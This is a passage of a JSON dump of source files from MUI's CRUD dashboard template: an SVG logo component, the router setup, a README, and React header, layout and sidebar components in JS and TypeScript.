    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 40, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/CrudDashboard.js",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport { createHashRouter, RouterProvider } from 'react-router';\nimport DashboardLayout from './components/DashboardLayout';\nimport EmployeeList from './components/EmployeeList';\nimport EmployeeShow from './components/EmployeeShow';\nimport EmployeeCreate from './components/EmployeeCreate';\nimport EmployeeEdit from './components/EmployeeEdit';\nimport NotificationsProvider from './hooks/useNotifications/NotificationsProvider';\nimport DialogsProvider from './hooks/useDialogs/DialogsProvider';\nimport AppTheme from '../shared-theme/AppTheme';\nimport {\n  dataGridCustomizations,\n  datePickersCustomizations,\n  sidebarCustomizations,\n  formInputCustomizations,\n} from './theme/customizations';\n\nconst router = createHashRouter([\n  {\n    Component: DashboardLayout,\n    children: [\n      {\n        path: '/employees',\n        Component: EmployeeList,\n      },\n      {\n        path: '/employees/:employeeId',\n        Component: EmployeeShow,\n      },\n      {\n        path: '/employees/new',\n        Component: EmployeeCreate,\n      },\n      {\n        path: '/employees/:employeeId/edit',\n        Component: EmployeeEdit,\n      },\n      // Fallback route for the example routes in dashboard sidebar items\n      {\n        path: '*',\n        Component: EmployeeList,\n      },\n    ],\n  },\n]);\n\nconst themeComponents = {\n  ...dataGridCustomizations,\n  ...datePickersCustomizations,\n  ...sidebarCustomizations,\n  ...formInputCustomizations,\n};\n\nexport default function CrudDashboard(props) {\n  return (\n    <AppTheme {...props} themeComponents={themeComponents}>\n      <CssBaseline enableColorScheme />\n      <NotificationsProvider>\n        <DialogsProvider>\n          <RouterProvider router={router} />\n        </DialogsProvider>\n      </NotificationsProvider>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/CrudDashboard.tsx",
    "content": "import CssBaseline from '@mui/material/CssBaseline';\nimport { createHashRouter, RouterProvider } from 'react-router';\nimport DashboardLayout from './components/DashboardLayout';\nimport EmployeeList from './components/EmployeeList';\nimport EmployeeShow from './components/EmployeeShow';\nimport EmployeeCreate from './components/EmployeeCreate';\nimport EmployeeEdit from './components/EmployeeEdit';\nimport NotificationsProvider from './hooks/useNotifications/NotificationsProvider';\nimport DialogsProvider from './hooks/useDialogs/DialogsProvider';\nimport AppTheme from '../shared-theme/AppTheme';\nimport {\n  dataGridCustomizations,\n  datePickersCustomizations,\n  sidebarCustomizations,\n  formInputCustomizations,\n} from './theme/customizations';\n\nconst router = createHashRouter([\n  {\n    Component: DashboardLayout,\n    children: [\n      {\n        path: '/employees',\n        Component: EmployeeList,\n      },\n      {\n        path: '/employees/:employeeId',\n        Component: EmployeeShow,\n      },\n      {\n        path: '/employees/new',\n        Component: EmployeeCreate,\n      },\n      {\n        path: '/employees/:employeeId/edit',\n        Component: EmployeeEdit,\n      },\n      // Fallback route for the example routes in dashboard sidebar items\n      {\n        path: '*',\n        Component: EmployeeList,\n      },\n    ],\n  },\n]);\n\nconst themeComponents = {\n  ...dataGridCustomizations,\n  ...datePickersCustomizations,\n  ...sidebarCustomizations,\n  ...formInputCustomizations,\n};\n\nexport default function CrudDashboard(props: { disableCustomTheme?: boolean }) {\n  return (\n    <AppTheme {...props} themeComponents={themeComponents}>\n      <CssBaseline enableColorScheme />\n      <NotificationsProvider>\n        <DialogsProvider>\n          <RouterProvider router={router} />\n        </DialogsProvider>\n      </NotificationsProvider>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/README.md",
    "content": "# CRUD dashboard template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy the folder (`crud-dashboard`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react, react-router.\n3. Import and use the `CrudDashboard` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/crud-dashboard/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardHeader.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport MuiAppBar from '@mui/material/AppBar';\nimport IconButton from '@mui/material/IconButton';\nimport Toolbar from '@mui/material/Toolbar';\nimport Tooltip from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport MenuOpenIcon from '@mui/icons-material/MenuOpen';\nimport Stack from '@mui/material/Stack';\nimport { Link } from 'react-router';\nimport ThemeSwitcher from './ThemeSwitcher';\n\nconst AppBar = styled(MuiAppBar)(({ theme }) => ({\n  borderWidth: 0,\n  borderBottomWidth: 1,\n  borderStyle: 'solid',\n  borderColor: (theme.vars ?? theme).palette.divider,\n  boxShadow: 'none',\n  zIndex: theme.zIndex.drawer + 1,\n}));\n\nconst LogoContainer = styled('div')({\n  position: 'relative',\n  height: 40,\n  display: 'flex',\n  alignItems: 'center',\n  '& img': {\n    maxHeight: 40,\n  },\n});\n\nfunction DashboardHeader({ logo, title, menuOpen, onToggleMenu }) {\n  const theme = useTheme();\n\n  const handleMenuOpen = React.useCallback(() => {\n    onToggleMenu(!menuOpen);\n  }, [menuOpen, onToggleMenu]);\n\n  const getMenuIcon = React.useCallback(\n    (isExpanded) => {\n      const expandMenuActionText = 'Expand';\n      const collapseMenuActionText = 'Collapse';\n\n      return (\n        <Tooltip\n          title={`${isExpanded ? collapseMenuActionText : expandMenuActionText} menu`}\n          enterDelay={1000}\n        >\n          <div>\n            <IconButton\n              size=\"small\"\n              aria-label={`${isExpanded ? collapseMenuActionText : expandMenuActionText} navigation menu`}\n              onClick={handleMenuOpen}\n            >\n              {isExpanded ? <MenuOpenIcon /> : <MenuIcon />}\n            </IconButton>\n          </div>\n        </Tooltip>\n      );\n    },\n    [handleMenuOpen],\n  );\n\n  return (\n    <AppBar color=\"inherit\" position=\"absolute\" sx={{ displayPrint: 'none' }}>\n      <Toolbar sx={{ backgroundColor: 'inherit', mx: { xs: -0.75, sm: -1 } }}>\n        <Stack\n          direction=\"row\"\n          sx={{\n            justifyContent: 'space-between',\n            alignItems: 'center',\n            flexWrap: 'wrap',\n            width: '100%',\n          }}\n        >\n          <Stack direction=\"row\" sx={{ alignItems: 'center' }}>\n            <Box sx={{ mr: 1 }}>{getMenuIcon(menuOpen)}</Box>\n            <Link to=\"/\" style={{ textDecoration: 'none' }}>\n              <Stack direction=\"row\" sx={{ alignItems: 'center' }}>\n                {logo ? <LogoContainer>{logo}</LogoContainer> : null}\n                {title ? (\n                  <Typography\n                    variant=\"h6\"\n                    sx={{\n                      color: (theme.vars ?? theme).palette.primary.main,\n                      fontWeight: '700',\n                      ml: 1,\n                      whiteSpace: 'nowrap',\n                      lineHeight: 1,\n                    }}\n                  >\n                    {title}\n                  </Typography>\n                ) : null}\n              </Stack>\n            </Link>\n          </Stack>\n          <Stack\n            direction=\"row\"\n            spacing={1}\n            sx={{ alignItems: 'center', marginLeft: 'auto' }}\n          >\n            <Stack direction=\"row\" sx={{ alignItems: 'center' }}>\n              <ThemeSwitcher />\n            </Stack>\n          </Stack>\n        </Stack>\n      </Toolbar>\n    </AppBar>\n  );\n}\n\nDashboardHeader.propTypes = {\n  logo: PropTypes.node,\n  menuOpen: PropTypes.bool.isRequired,\n  onToggleMenu: PropTypes.func.isRequired,\n  title: PropTypes.string,\n};\n\nexport default DashboardHeader;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardHeader.tsx",
    "content": "import * as React from 'react';\nimport { styled, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport MuiAppBar from '@mui/material/AppBar';\nimport IconButton from '@mui/material/IconButton';\nimport Toolbar from '@mui/material/Toolbar';\nimport Tooltip from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport MenuOpenIcon from '@mui/icons-material/MenuOpen';\nimport Stack from '@mui/material/Stack';\nimport { Link } from 'react-router';\nimport ThemeSwitcher from './ThemeSwitcher';\n\nconst AppBar = styled(MuiAppBar)(({ theme }) => ({\n  borderWidth: 0,\n  borderBottomWidth: 1,\n  borderStyle: 'solid',\n  borderColor: (theme.vars ?? theme).palette.divider,\n  boxShadow: 'none',\n  zIndex: theme.zIndex.drawer + 1,\n}));\n\nconst LogoContainer = styled('div')({\n  position: 'relative',\n  height: 40,\n  display: 'flex',\n  alignItems: 'center',\n  '& img': {\n    maxHeight: 40,\n  },\n});\n\nexport interface DashboardHeaderProps {\n  logo?: React.ReactNode;\n  title?: string;\n  menuOpen: boolean;\n  onToggleMenu: (open: boolean) => void;\n}\n\nexport default function DashboardHeader({\n  logo,\n  title,\n  menuOpen,\n  onToggleMenu,\n}: DashboardHeaderProps) {\n  const theme = useTheme();\n\n  const handleMenuOpen = React.useCallback(() => {\n    onToggleMenu(!menuOpen);\n  }, [menuOpen, onToggleMenu]);\n\n  const getMenuIcon = React.useCallback(\n    (isExpanded: boolean) => {\n      const expandMenuActionText = 'Expand';\n      const collapseMenuActionText = 'Collapse';\n\n      return (\n        <Tooltip\n          title={`${isExpanded ? collapseMenuActionText : expandMenuActionText} menu`}\n          enterDelay={1000}\n        >\n          <div>\n            <IconButton\n              size=\"small\"\n              aria-label={`${isExpanded ? collapseMenuActionText : expandMenuActionText} navigation menu`}\n              onClick={handleMenuOpen}\n            >\n              {isExpanded ? <MenuOpenIcon /> : <MenuIcon />}\n            </IconButton>\n          </div>\n        </Tooltip>\n      );\n    },\n    [handleMenuOpen],\n  );\n\n  return (\n    <AppBar color=\"inherit\" position=\"absolute\" sx={{ displayPrint: 'none' }}>\n      <Toolbar sx={{ backgroundColor: 'inherit', mx: { xs: -0.75, sm: -1 } }}>\n        <Stack\n          direction=\"row\"\n          sx={{\n            justifyContent: 'space-between',\n            alignItems: 'center',\n            flexWrap: 'wrap',\n            width: '100%',\n          }}\n        >\n          <Stack direction=\"row\" sx={{ alignItems: 'center' }}>\n            <Box sx={{ mr: 1 }}>{getMenuIcon(menuOpen)}</Box>\n            <Link to=\"/\" style={{ textDecoration: 'none' }}>\n              <Stack direction=\"row\" sx={{ alignItems: 'center' }}>\n                {logo ? <LogoContainer>{logo}</LogoContainer> : null}\n                {title ? (\n                  <Typography\n                    variant=\"h6\"\n                    sx={{\n                      color: (theme.vars ?? theme).palette.primary.main,\n                      fontWeight: '700',\n                      ml: 1,\n                      whiteSpace: 'nowrap',\n                      lineHeight: 1,\n                    }}\n                  >\n                    {title}\n                  </Typography>\n                ) : null}\n              </Stack>\n            </Link>\n          </Stack>\n          <Stack\n            direction=\"row\"\n            spacing={1}\n            sx={{ alignItems: 'center', marginLeft: 'auto' }}\n          >\n            <Stack direction=\"row\" sx={{ alignItems: 'center' }}>\n              <ThemeSwitcher />\n            </Stack>\n          </Stack>\n        </Stack>\n      </Toolbar>\n    </AppBar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardLayout.js",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport { Outlet } from 'react-router';\nimport DashboardHeader from './DashboardHeader';\nimport DashboardSidebar from './DashboardSidebar';\nimport SitemarkIcon from './SitemarkIcon';\n\nexport default function DashboardLayout() {\n  const theme = useTheme();\n\n  const [isDesktopNavigationExpanded, setIsDesktopNavigationExpanded] =\n    React.useState(true);\n  const [isMobileNavigationExpanded, setIsMobileNavigationExpanded] =\n    React.useState(false);\n\n  const isOverMdViewport = useMediaQuery(theme.breakpoints.up('md'));\n\n  const isNavigationExpanded = isOverMdViewport\n    ? isDesktopNavigationExpanded\n    : isMobileNavigationExpanded;\n\n  const setIsNavigationExpanded = React.useCallback(\n    (newExpanded) => {\n      if (isOverMdViewport) {\n        setIsDesktopNavigationExpanded(newExpanded);\n      } else {\n        setIsMobileNavigationExpanded(newExpanded);\n      }\n    },\n    [\n      isOverMdViewport,\n      setIsDesktopNavigationExpanded,\n      setIsMobileNavigationExpanded,\n    ],\n  );\n\n  const handleToggleHeaderMenu = React.useCallback(\n    (isExpanded) => {\n      setIsNavigationExpanded(isExpanded);\n    },\n    [setIsNavigationExpanded],\n  );\n\n  const layoutRef = React.useRef(null);\n\n  return (\n    <Box\n      ref={layoutRef}\n      sx={{\n        position: 'relative',\n        display: 'flex',\n        overflow: 'hidden',\n        height: '100%',\n        width: '100%',\n      }}\n    >\n      <DashboardHeader\n        logo={<SitemarkIcon />}\n        title=\"\"\n        menuOpen={isNavigationExpanded}\n        onToggleMenu={handleToggleHeaderMenu}\n      />\n      <DashboardSidebar\n        expanded={isNavigationExpanded}\n        setExpanded={setIsNavigationExpanded}\n        container={layoutRef?.current ?? undefined}\n      />\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          flex: 1,\n          minWidth: 0,\n        }}\n      >\n        <Toolbar sx={{ displayPrint: 'none' }} />\n        <Box\n          component=\"main\"\n          sx={{\n            display: 'flex',\n            flexDirection: 'column',\n            flex: 1,\n            overflow: 'auto',\n          }}\n        >\n          <Outlet />\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardLayout.tsx",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport Box from '@mui/material/Box';\nimport Toolbar from '@mui/material/Toolbar';\nimport { Outlet } from 'react-router';\nimport DashboardHeader from './DashboardHeader';\nimport DashboardSidebar from './DashboardSidebar';\nimport SitemarkIcon from './SitemarkIcon';\n\nexport default function DashboardLayout() {\n  const theme = useTheme();\n\n  const [isDesktopNavigationExpanded, setIsDesktopNavigationExpanded] =\n    React.useState(true);\n  const [isMobileNavigationExpanded, setIsMobileNavigationExpanded] =\n    React.useState(false);\n\n  const isOverMdViewport = useMediaQuery(theme.breakpoints.up('md'));\n\n  const isNavigationExpanded = isOverMdViewport\n    ? isDesktopNavigationExpanded\n    : isMobileNavigationExpanded;\n\n  const setIsNavigationExpanded = React.useCallback(\n    (newExpanded: boolean) => {\n      if (isOverMdViewport) {\n        setIsDesktopNavigationExpanded(newExpanded);\n      } else {\n        setIsMobileNavigationExpanded(newExpanded);\n      }\n    },\n    [\n      isOverMdViewport,\n      setIsDesktopNavigationExpanded,\n      setIsMobileNavigationExpanded,\n    ],\n  );\n\n  const handleToggleHeaderMenu = React.useCallback(\n    (isExpanded: boolean) => {\n      setIsNavigationExpanded(isExpanded);\n    },\n    [setIsNavigationExpanded],\n  );\n\n  const layoutRef = React.useRef<HTMLDivElement>(null);\n\n  return (\n    <Box\n      ref={layoutRef}\n      sx={{\n        position: 'relative',\n        display: 'flex',\n        overflow: 'hidden',\n        height: '100%',\n        width: '100%',\n      }}\n    >\n      <DashboardHeader\n        logo={<SitemarkIcon />}\n        title=\"\"\n        menuOpen={isNavigationExpanded}\n        onToggleMenu={handleToggleHeaderMenu}\n      />\n      <DashboardSidebar\n        expanded={isNavigationExpanded}\n        setExpanded={setIsNavigationExpanded}\n        container={layoutRef?.current ?? undefined}\n      />\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          flex: 1,\n          minWidth: 0,\n        }}\n      >\n        <Toolbar sx={{ displayPrint: 'none' }} />\n        <Box\n          component=\"main\"\n          sx={{\n            display: 'flex',\n            flexDirection: 'column',\n            flex: 1,\n            overflow: 'auto',\n          }}\n        >\n          <Outlet />\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/DashboardSidebar.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useTheme } from '@mui/material/styles';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport Box from '@mui/material/Box';\nimport Drawer from '@mui/material/Drawer';\nimport List from '@mui/material/List';\nimport Toolbar from '@mui/material/Toolbar';\n\nimport PersonIcon from '@mui/icons-material/Person';\nimport BarChartIcon from '@mui/icons-material/BarChart';\nimport DescriptionIcon from '@mui/icons-material/Description';\nimport LayersIcon from '@mui/icons-material/Layers';\nimport { matchPath, useLocation } from 'react-router';\nimport DashboardSidebarContext from '../context/DashboardSidebarContext';\nimport { DRAWER_WIDTH, MINI_DRAWER_WIDTH } from '../constants';\nimport DashboardSidebarPageItem from './DashboardSidebarPageItem';\nimport DashboardSidebarHeaderItem from './DashboardSidebarHeaderItem';\nimport DashboardSidebarDividerItem from './DashboardSidebarDividerItem';\nimport {\n  getDrawerSxTransitionMixin,\n  getDrawerWidthTransitionMixin,\n} from '../mixins';\n\nfunction DashboardSidebar({\n  expanded = true,\n  setExpanded,\n  disableCollapsibleSidebar = false,\n  container,\n}) {\n  const theme = useTheme();\n\n  const { pathname } = useLocation();\n\n  const [expandedItemIds, setExpandedItemIds] = React.useState([]);\n\n  const isOverSmViewport = useMediaQuery(theme.breakpoints.up('sm'));\n  const isOverMdViewport = useMediaQuery(theme.breakpoints.up('md'));\n\n  const [isFullyExpanded, setIsFullyExpanded] = React.useState(expanded);\n  const [isFullyCollapsed, setIsFullyCollapsed] = React.useState(!expanded);\n\n  React.useEffect(() => {\n    if (expanded) {\n      const drawerWidthTransitionTimeout = setTimeout(() => {\n        setIsFullyExpanded(true);\n      }, theme.transitions.duration.enteringScreen);\n\n      return () => clearTimeout(drawerWidthTransitionTimeout);\n    }\n\n    setIsFullyExpanded(false);\n\n    return () => {};\n  }, [expanded, theme.transitions.duration.enteringScreen]);\n\n  React.useEffect(() => {\n    if (!expanded) {\n      const drawerWidthTransitionTimeout = setTimeout(() => {\n        setIsFullyCollapsed(true);\n      }, theme.transitions.duration.leavingScreen);\n\n      return () => clearTimeout(drawerWidthTransitionTimeout);\n    }\n\n    setIsFullyCollapsed(false);\n\n    return () => {};\n  }, [expanded, theme.transitions.duration.leavingScreen]);\n\n  const mini = !disableCollapsibleSidebar && !expanded;\n\n  const handleSetSidebarExpanded = React.useCallback(\n    (newExpanded) => () => {\n      setExpanded(newExpanded);\n    },\n    [setExpanded],\n  );\n\n  const handlePageItemClick = React.useCallback(\n    (itemId, hasNestedNavigation) => {\n      if (hasNestedNavigation && !mini) {\n        setExpandedItemIds((previousValue) =>\n          previousValue.includes(itemId)\n            ? previousValue.filter(\n                (previousValueItemId) => previousValueItemId !== itemId,\n              )\n            : [...previousValue, itemId],\n        );\n      } else if (!isOverSmViewport && !hasNestedNavigation) {\n        setExpanded(false);\n      }\n    },\n    [mini, setExpanded, isOverSmViewport],\n  );\n\n  const hasDrawerTransitions =\n    isOverSmViewport && (!disableCollapsibleSidebar || isOverMdViewport);\n\n  const getDrawerContent = React.useCallback(\n    (viewport) => (\n      <React.Fragment>\n        <Toolbar />\n        <Box\n          component=\"nav\"\n          aria-label={`${viewport.charAt(0).toUpperCase()}${viewport.slice(1)}`}\n          sx={{\n            height: '100%',\n            display: 'flex',\n            flexDirection: 'column',\n            justifyContent: 'space-between',\n            overflow: 'auto',\n            scrollbarGutter: mini ? 'stable' : 'auto',\n            overflowX: 'hidden',\n            pt: !mini ? 0 : 2,\n            ...(hasDrawerTransitions\n              ? getDrawerSxTransitionMixin(isFullyExpanded, 'padding')\n              : {}),\n          }}\n        >\n          <List\n            dense\n            sx={{\n              padding: mini ? 0 : 0.5,\n              mb: 4,\n              width: mini ? MINI_DRAWER_WIDTH : 'auto',\n            }}\n          >\n            <DashboardSidebarHeaderItem>Main items</DashboardSidebarHeaderItem>\n            <DashboardSidebarPageItem\n              id=\"employees\"\n              title=\"Employees\"\n              icon={<PersonIcon />}\n              href=\"/employees\"\n              selected={!!matchPath('/employees/*', pathname) || pathname === '/'}\n            />\n            <DashboardSidebarDividerItem />\n            <DashboardSidebarHeaderItem>Example items</DashboardSidebarHeaderItem>\n            <DashboardSidebarPageItem\n              id=\"reports\"\n              title=\"Reports\"\n              icon={<BarChartIcon />}\n              href=\"/reports\"\n              selected={!!matchPath('/reports', pathname)}\n              defaultExpanded={!!matchPath('/reports', pathname)}\n              expanded={expandedItemIds.includes('reports')}\n              nestedNavigation={\n                <List\n                  dense\n                  sx={{\n                    padding: 0,\n                    my: 1,\n                    pl: mini ? 0 : 1,\n                    minWidth: 240,\n                  }}\n                >\n                  <DashboardSidebarPageItem\n                    id=\"sales\"\n                    title=\"Sales\"\n                    icon={<DescriptionIcon />}\n                    href=\"/reports/sales\"\n                    selected={!!matchPath('/reports/sales', pathname)}\n                  />\n                  <DashboardSidebarPageItem\n                    id=\"traffic\"\n                    title=\"Traffic\"\n                    icon={<DescriptionIcon />}\n                    href=\"/reports/traffic\"\n                    selected={!!matchPath('/reports/traffic', pathname)}\n                  />\n                </List>\n              }\n            />\n            <DashboardSidebarPageItem\n              id=\"integrations\"\n              title=\"Integrations\"\n              icon={<LayersIcon />}\n              href=\"/integrations\"\n              selected={!!matchPath('/integrations', pathname)}\n            />\n          </List>\n        </Box>\n      </React.Fragment>\n    ),\n    [mini, hasDrawerTransitions, isFullyExpanded, expandedItemIds, pathname],\n  );\n\n  const getDrawerSharedSx = React.useCallback(\n    (isTemporary) => {\n      const drawerWidth = mini ? MINI_DRAWER_WIDTH : DRAWER_WIDTH;\n\n      return {\n        displayPrint: 'none',\n        width: drawerWidth,\n        flexShrink: 0,\n        ...getDrawerWidthTransitionMixin(expanded),\n        ...(isTemporary ? { position: 'absolute' } : {}),\n        [`& .MuiDrawer-paper`]: {\n          position: 'absolute',\n          width: drawerWidth,\n          boxSizing: 'border-box',\n          backgroundImage: 'none',\n          ...getDrawerWidthTransitionMixin(expanded),\n        },\n      };\n    },\n    [expanded, mini],\n  );\n\n  const sidebarContextValue = React.useMemo(() => {\n    return {\n      onPageItemClick: handlePageItemClick,\n      mini,\n      fullyExpanded: isFullyExpanded,\n      fullyCollapsed: isFullyCollapsed,\n      hasDrawerTransitions,\n    };\n  }, [\n    handlePageItemClick,\n    mini,\n    isFullyExpanded,\n    isFullyCollapsed,\n    hasDrawerTransitions,\n  ]);\n\n  return (\n    <DashboardSidebarContext.Provider value={sidebarContextValue}>\n      <Drawer\n        container={container}\n        variant=\"temporary\"\n        open={expanded}\n        onClose={handleSetSidebarExpanded(false)}\n        ModalProps={{\n          keepMounted: true, // Better open performance on mobile.\n        }}\n        sx={{\n          display: {\n            xs: 'block',\n            sm: disableCollapsibleSidebar ? 'block' : 'none',\n            md: 'none',\n          },\n          ...getDrawerSharedSx(true),\n        }}\n      >\n        {getDrawerContent('phone')}\n      </Drawer>\n      <Drawer\n        variant=\"permanent\"\n        sx={{\n          display: {\n            xs: 'none',\n            sm: disableCollapsibleSidebar ? 'none' : 'block',\n            md: 'none',\n          },\n          ...getDrawerSharedSx(false),\n        }}\n      >\n        {getDrawerContent('tablet')}\n      </Drawer>\n      <Drawer\n        variant=\"permanent\"\n        sx={{\n          display: { xs: 'none', md: 'block' },\n          ...getDrawerSharedSx(false),\n        }}\n      >\n        